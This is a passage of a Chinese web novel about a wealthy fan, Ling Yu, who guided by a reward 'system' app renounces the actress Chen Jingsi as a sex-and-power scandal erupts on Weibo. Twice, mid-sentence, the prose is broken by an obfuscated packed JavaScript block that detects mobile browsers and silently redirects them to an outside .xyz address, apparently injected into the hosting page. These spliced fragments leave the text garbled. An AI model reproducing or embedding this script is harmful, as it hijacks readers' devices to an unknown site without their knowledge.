【楼上的，刚才有网友提出的建议啊，没想到还真给工作室灵感了。谁说这些人网速慢的？这网速可太快了吧！哈哈哈！】 【陈静思这么多年好不容易要官宣第一个奢侈品代言了，是怕人家LP黄金不宣她了吧？平时对什么不都是云淡风轻，视而不见不屑一顾的吗？怎么现在忍不住了哈哈哈！就说这个圈子里怎么会有真正淡泊名利的人。】 凌钰突然愣了一下。 人人都说这个工作室的号八百年没个动静，在她先前的观察中也的确如此。 可就在不久前的刚刚，对方分明在线给她发过LP黄金线下活动的邀请，甚至特意表达了对她的感谢。 她当时只想到这机会难得，却忘了一件很重要的事。 返回微信，凌钰打开对话框，编辑文字给春风传媒的项目负责人发了条消息：“您好，有件事向您打听一下，我投资你们这个项目的事，您这边向陈静思方透露过吗？” 那边回复得很快。 “没有。因为您当时只说了是建议，所以我们公司按照您的要求选好相应的剧本和角色发给了聂嘉远方和陈静思方，咨询意见后给了您回复，其余的话都没有说，如果要说的话我们会提前告知您的。” 凌钰默默回了个“OK”，心却不由自主沉了下去。 没有说，那陈静思工作室是怎么知道的？ 能从某些渠道以最快的速度了解行业未公开的内幕，又善于利用信息差理所当然地向她这个氪金粉发出邀请，如果不是突然有人爆料让陈静思上了热搜，这事凌钰恐怕到现在都想不到再问。 而如果她去了现场，哪怕过后想到了，对方也可以有无数种答案无伤大雅的敷衍她。 可见这个工作室后台有，胆量有，手段也有。 而热搜闹到现在这个地步，对方看似一直没有反应，但一上线就全盘否认了目前网络上所有已经覆盖的谣言。 可见他们对舆情的监控不仅全面，而且十分精准。 如果工作室的佛系只是被刻意营造的假象，那陈静思本人呢？ 她所有的表现是否也是人设和伪装？ 凌钰越想越觉得不对，再结合对方邀请她参加活动时甚至还提了一句，说知道她之前曾经参加过类似的活动——当时的她在粉圈初露头角，因为系统突然发布任务，在活动现场抽奖送人而让聂嘉远也跟着上了热搜。 影响不算小，可却也有一定的限制，至少无论如何也不该是一个真正两耳不闻窗外事的工作室会了解的。 不是不稀罕氪金粉吗？这种姿态，可不像。 工作室的微博发出后没多久，陈静思本人也转发了这条声明。 【@陈静思：一直在拍戏，刚刚才看到热搜，是同事是朋友，但不是大家猜测的那样，同行人员都可以为我作证，没有就是没有。作为演员，我更希望自己是靠作品吸引大家的目光，而不是私生活，谢谢！】 出道多年，陈静思的微博上大多都是些固定模式的剧宣和商务广告。 她几乎不参加综艺，除了剧宣，平时就连采访也很少接，就是因为担心太过露脸会影响观众对角色的代入感，这还是她几年来第一次公开就个人生活的问题发声。 如果工作室的声明已经叫粉丝难以接受，陈静思的转发配文就更让她们仿佛遇上危险时炸了毛的猫，彻底进入了战斗状态。 【现在开心了？逼得静思姐亲自出面辟谣，一群小丑，你们满意了吧？】 【没有就是没有！别以为静思姐好说话就可以随便欺负，你们怕是忘了她的性子究竟是多刚的了！】 【这么多年安安稳稳过来了，结果才突然来了个氪金粉就把静思姐推到了风口浪尖，偏偏某些人还不知收敛，这个时候了还在那搞什么抽奖。演员不是流量，需要搞这一套吗？除了给静思姐添乱还带来了什么？我真搞不懂！】 【现在那氪金粉人去哪了？怎么不见了？】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406167|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屏幕上的倒计时又一次逐渐变大，凌钰没忍住嘀咕出了声：“氪金粉去哪了？氪金粉要脱粉了！” 眼睁睁等着自己的钱被扣的感觉如同等待凌迟，何况事不过三，都这个时候了，她再不脱粉就是傻子！ 没再去看那些有的没的，凌钰直接进入自己的主页，把个人简介中的正主删掉了陈静思的名字，又取关了所有与她相关的账号和超话，接着编辑文案发送微博。 【@我来追星了：#陈静思超话#自本条微博发出时起，本人不再是陈静思的粉丝，陈静思不再是本人的正主，特此声明。】 消息发出，本就已然地震的网上顿时更添波澜。 【？？？？】 【妈呀，那边还在骂追星姐给陈静思添乱，这边直接脱粉了！笑死，我猜她家粉丝马上又得冲过来骂了，不过要我说我也得脱粉，花了钱还要被教育，这谁受得了？】 【我赌一毛钱，我赌追星姐又要成为风向标。】 【虽然但是，陈静思其实就是塌房了吧，发个声明就是清白的吗？还说其他人能帮她作证，到现在都没人出来说话啊。以前觉得她是那种不争不抢的性格，她粉丝也是那种佛系的人，结果现在才发现根本就不是。】 【她这个发言才是最恐怖的，把话语权交给别人，现在她粉丝全都跑去别家微博底下闹去了，要让人家帮忙证明，不出来帮忙就是不给静思姐面子，就是忘恩负义的小人，妈呀像中邪了一样。】 【对，道德绑架一套一套的，还去别人超话发帖，人家粉丝提出反对意见说他们不守规矩，他们就一句话“我们不懂你们那些追星的规矩”。】 【救命，不懂不该学吗？不懂还有理了？】 凌钰暂时没再管评论区的内容，因为【识人】app已经又跳出了新的提示。 【最新提醒：您已脱粉正主2。】 【最新提醒：您本次的临时任务已失败，您将按照系统所发布金额1:1比例扣除已拥有资金共计1000000元，谢谢！】 【最新提醒：本次解锁资金将由系统操作，以宿主名义捐献给慈善机构。】 【最新提醒：您的已拥有资金成功扣除10000000元，请您核查账户余额，祝您生活愉快！】 打开系统主页，正主2的那一栏，陈静思名字后面果然标注了“已脱粉”，而再去看上方的“内娱风气更正指数”，也不知在什么情况下居然又有了不少的波动，从21.05%来到了25.2%。 凌钰摸不清这里面的道道，索性也不再去看，干脆地把手机丢到了一边。 她这样突如其来地脱了粉，按照静夜思们的脾气，肯定是得到评论区给她好好上上一课的，可惜，凌钰当了够长时间的学生，也当了够长时间的牛马，实在懒得上个网追个星还要再听人说教了。 眼不见为净，他们爱说啥是啥吧。 正想着一会儿该吃什么，抬起头时，孙致容已经拎着饭菜从外面走了进来，而难得休息的周哥则抱着手机惊叹：“啊呀！我才看到你脱粉，那边营销号就又爆狠料了！” 69.第 69 章 春天，正是万物复苏的季节。 YFu’s coffee咖啡店经历了开业前两周轻微的手忙脚乱，这段时间的状态已经逐渐趋于平稳。 到底是有创业经验的人，孙爸在管理这件事上还有些驾轻就熟的味道，虽然和当初的行业并不相同，但理念却都是相通的。 只要找对方法定好制度，经营也就步入了正轨。 再加上在国贸的地盘上，即便定位“轻奢”用料比较高端，成本也比一般的咖啡店要高，但因为目标人群选定精准，咖啡厅内装修和氛围营造也符合需求，这小半个月来，业绩和收入都很可观，算是暂时站稳了脚跟。 而自从有了事做，孙爸是腰也不酸腿也不疼了，也不成天刷小视频了，看似忙于奔波却格外有精神头，前两天去医院体检，连血压都比往常稳定了不少。 孙致容和周哥回来后不久，忙碌的孙爸才风尘仆仆地到了家。 其实现在店里已经不需要他每天再去了，不过待在家里实在无聊，孙爸就卡着点，每天下午还是去转一转，其余时间则是远程监管。 天气渐热。 晚饭也从之前的火锅烤肉逐渐变成了比较清淡的辣油鸡丝凉面和葱油拌面，今天还另有凉拌黄瓜、皮蛋豆腐、鱿鱼汤和清炒花甲。 凌钰又点了两份青团作为饭后小点，等大家都在桌前坐好，几人才又说起最近颇受关注的ily和陈静思。 孙致容显然也没想到。 “ily到现在都没个消息，我之前在路上看到热搜，真给我吓一跳，还以为肖雨婷她们真的死了呢！结果不是，只是说没消息。” “至于陈静思嘛，还好你脱粉了，不管她这次塌没塌，有人要搞她都是肯定的，而且她那群粉丝一个个很奇怪，都觉得自己高贵，也觉得陈静思比圈子里其他人都了不起，成天看不起这个看不起那个，得罪的人多，早晚要出事。” 周哥吃了一口面条抬起头来：“不是，你们还没看最新微博吧，最新的狠料是真的狠，我感觉后面可能还有别的。” 凌钰想起他今天刚进门就在嚷嚷，但当时自己因为忙着跟孙致容说准备晚饭的事都忘了再问。 她抬起头来：“你是看的那个营销号预告，说什么餐桌接吻？” “不是啊！”周哥顿时激动，“难怪我当时说了你们都不理我，不是预告，就你刚脱粉没多久，那个号就又更新了！更新的内容比之前预告的可夸张太多了，我都觉得根本没办法再洗白。” “啥？！”凌钰和孙致容这才反应过来，连忙拿起手机重新打开微博。 热一的热门果然又换了内容。 【@娱乐小子：#陈静思 潜规则#接网友投稿，陈静思和某位“同事、朋友”在用餐期间举止亲密，同桌人员对此不仅毫不见怪，甚至还多次起哄让两人“亲一个”。 此外，网友还提供了陈静思与这位“同事、朋友”保持长期不正当关系的相关聊天截图。 爆料者提问：同行人员如果和你禀性相同，他们的证词是否可靠？作为演员的你不希望大家关注私生活，是真的为了让观众不出戏，还是因为你的私生活本就太过混乱，根本不堪入目？】 文案下方又配了好几个短视频和图片。 凌钰愣了一下，这才知道周哥的反应为什么那么大。 视频根本不是之前预告里隔着窗户拍摄的内容，而是某位现场人员的直接录制，画面不断摇晃颤动，看得出拍摄之人本身也很兴奋激动，起哄声此起彼伏：“亲一个！亲一个！亲一个！” 一闪而过的陈静思并未化妆，虽是素颜却也依旧能看出容貌姣好。 她整个人都贴在一旁的男人身侧，伴随着哄闹声缓缓抬起头时，对方刚好低下头。 蜻蜓点水的一个吻，让整个气氛都达到了高潮，之前还只是调笑和试探的叫声瞬间变成了热血上头的狼嚎：“嗷嗷嗷！亲啊！陈总这么纯情干什么？嘴碰嘴算什么亲？！上啊！” 被称为“陈总”的男人也不知是因此受到了刺激还是鼓舞，总之原本还略显迟疑的动作变得越加大胆，片刻后终于站起身来，一把将陈静思狠狠压住。 接下来的视频晃动得厉害。 桌上的饭菜，头顶的天花板和脚下花开富贵的地砖来回切换着，不同的叫声笑声呐喊声此起彼伏，隐约能看到男人的背影，又过了好一会儿才听到他说话：“现在可以了吗？别闹了，饭还吃不吃了？” “吃！！”有人在喊，“陈总喂小陈吃啊，我们吃狗粮就够了！” 最后一幕，是陈静思带着微笑的正脸。 图片则是几段微信聊天记录，内容都很简单，单看对话框的颜色也知道是男方那边透露出来的消息。 凌钰扫看一眼，第一张是男方先问：“在干嘛？” 陈静思回答：“拍戏。” 对方又道：“今晚9点我到那边，房提前开好了，1335，你先去。” 陈静思回答：“不知道能不能拍完。” 对方一锤定音：“早点收工，准时到，我明天还有事。” 第二张则是陈静思先问：“几点？” 对方回答：“下午四点，房开好了，报我名字直接去，我准时到。” 接下来的几张图意思大差不差，虽然没有更多情感上的交流，却也能很清晰地看出两人间究竟做了些什么。 哪怕是在塌房率很高的内娱，这种对话也实在炸裂。 更何况陈静思这边才刚刚义正言辞地辟了谣，最新的爆料就以迅雷不及掩耳之势狠狠一巴掌扇到了她的脸上。 雄赳赳气昂昂自觉受了天大委屈的静夜思们更是受到了致命一击，完全无法接受。 【……我无语了。】 【想死。】 有人已然如丧考妣心如死灰，也有人痛心疾首气得破口大骂。 【追你整整五年，支持你的每一部电视剧每一个代言，到处跟人夸你的演技，为了给你剪视频修照片我能整晚整晚的不睡，结果你给我来这个？！】 【你是演员，想要男人随便你谈，粉丝阻止过你吗？你一边给自己立单身人设说要专注演技，一边找谁不好你去跟人家结婚有孩子的人一起！你是有什么疾病吗？不嫌脏不恶心吗？还是就喜欢跟人共用一根黄瓜？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410867|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不怕得病吗陈静思！】 【那个微信聊天记录虽然恶心，但我甚至还能骗自己说那是P图造谣，可那个视频……陈总的嘴好亲吗？有妇之夫孩子他爸的嘴！我他妈的真的想吐！！】 【为什么啊？我真的要疯了！你这样让刚刚还为你据理力争的我变得像个傻逼！说好的靠演技征服观众，说好的拍一辈子好剧，说好的不会做这些攀附权贵的事……我们甚至连那个氪金粉都看不上，结果你？】 【氪金粉突然脱粉，我还去骂了，转头你和一个已婚男人亲上了，笑得这么开心，可平时看到我们却永远是张死人脸，怎么，是因为我们不会亲吗？】 粉丝们有人破防，有人崩溃，但仍有人觉得陈静思另有苦衷。 【画面里那么多人起哄，是被逼无奈吧？】 【就算是聊天记录也看不出来陈静思对对方有多热情吧，更多像是在完成任务，当时吃饭的现场每个人都比陈静思要位高权重，她能不配合吗？何况她本来就是被动接受的那一个吧。】 比起静夜思们各异的态度，网友们更多的则是吃瓜的兴奋和抽丝剥茧的分析。 【让我再慎重地说一句：内娱完了。】 【这里面一起吃饭的不还有《风月》的男主张子扬吗？如果所有人都知情却还在起哄，那不是都有问题？这是都塌了吧！我的天不敢想象，电视剧圈大地震了，陈静思和张子扬出问题，多少剧得下架啊？】 【这里面肯定还有别的事啊，如果陈静思是接受了潜规则才上位，那就代表和她一样的几个人可能都有问题。如果这几位都有问题，就代表埃尼娱乐确实有黑产业链，如果埃尼的黑产业链是真的，那ily几位现在的情况就更不好说了！】 经过多轮探讨，众人当然已经知道肖雨婷她们并没有“去世”，但直到现在都没人出现也是事实。 凌钰再去看这条消息的时候已经晚了点，底下的评论多到惊人。 而热搜的话题比之前也发生了翻天覆地的变化。 除了被爆料的陈静思，那位在饭桌上亲她的“陈总”也被人扒了个干干净净，至于张子扬等同剧组的人员也都冲上了榜单前十，此外还有大量类似#现场拍摄#、#陈静思网友爆料#等相关。 广场上热闹非凡。 【内娱才安静了两个月吧，就又热闹上了，你别说，那位追星姐可能还真有点东西，她不脱粉的时候陈静思好像还硬撑着呢，结果这边刚一脱粉那边新爆料就又出来了。】 【看到LP黄金的官博没？好像取消和陈静思的合作了。】 【静夜思们天天人淡如菊，肯定无所谓这种什么商业代言咯，再说，她家的特色不是有需求才花钱吗？黄金又不是硬需求，没了追星姐这个氪金粉，粉丝能有几个会花钱买这东西的？】 【谁能想到居然是现场视频，他们参加的人看拍摄角度估计就能猜到是谁了，这人也是可怕，私下的事硬是被放到了台面上，以后估计都没人敢跟他来往了。】 【偷拍虽然不道德，但这帮人做的事更恶心吧？还有聊天记录，也是男方那边的，这陈总有病吗？自己曝光自己？】